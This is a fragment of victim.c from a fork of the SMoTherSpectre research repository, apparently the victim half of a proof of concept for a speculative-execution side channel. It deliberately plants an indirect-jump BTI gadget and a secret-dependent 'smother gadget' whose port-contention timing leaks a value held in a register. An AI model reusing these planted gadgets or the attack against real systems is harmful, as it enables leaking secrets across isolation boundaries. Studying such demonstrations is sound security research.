forked from HexHive/SMoTherSpectre
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathvictim.c
46 lines (38 loc) · 819 Bytes
/
victim.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/* set the "secret" */
asm("movq %[secret], %%r15;" :: [secret] "" (secret) :);
/* set and flush the indirect jump target */
asm volatile (
"movq $TARGET, %[p];"
"clflush %[p];"
: [p] "+m" (ptr)
:
);
/* prepare branch predictor state */
asm("BEG:;");
JMPNEXT64
/* indirect jump : BTI gadget*/
asm("JUMP:;");
asm("jmp *%[target];"
:
: [target] "m" (ptr)
);
asm(NOP4096);
/* victim's real target - do nothing */
asm("TARGET:;");
asm("jmp END;");
asm(NOP4096);
/* attacker's expected target */
asm("SPECULATE_THIS:;");
/* smother gadget */
asm("cmp $0, %%r15;"
"je MARK;" ::: );
CRC324 CRC322
asm("movl $-1, %%r12d; divl %%r12d;" :::);
asm("MARK:;");
OR16
asm("lfence;" :::);
/* gather timing information (dead code) */
tsc = __rdtscp(&junk);
CRC321
tsc = __rdtscp(&junk) - tsc;
asm("END:;");